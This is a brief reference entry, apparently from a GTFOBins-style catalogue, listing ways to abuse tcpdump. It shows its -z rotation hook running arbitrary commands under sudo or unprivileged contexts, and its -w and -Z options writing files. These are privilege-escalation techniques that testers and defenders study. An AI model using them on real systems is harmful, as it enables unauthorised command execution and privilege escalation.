tcpdump

Command Execution

Context: sudo, unprivileged

echo /path/to/command >/path/to/temp-file
chmod +x /path/to/temp-file
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file

Context: sudo, unprivileged

tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command

File Write

Context: sudo, suid, unprivileged

tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user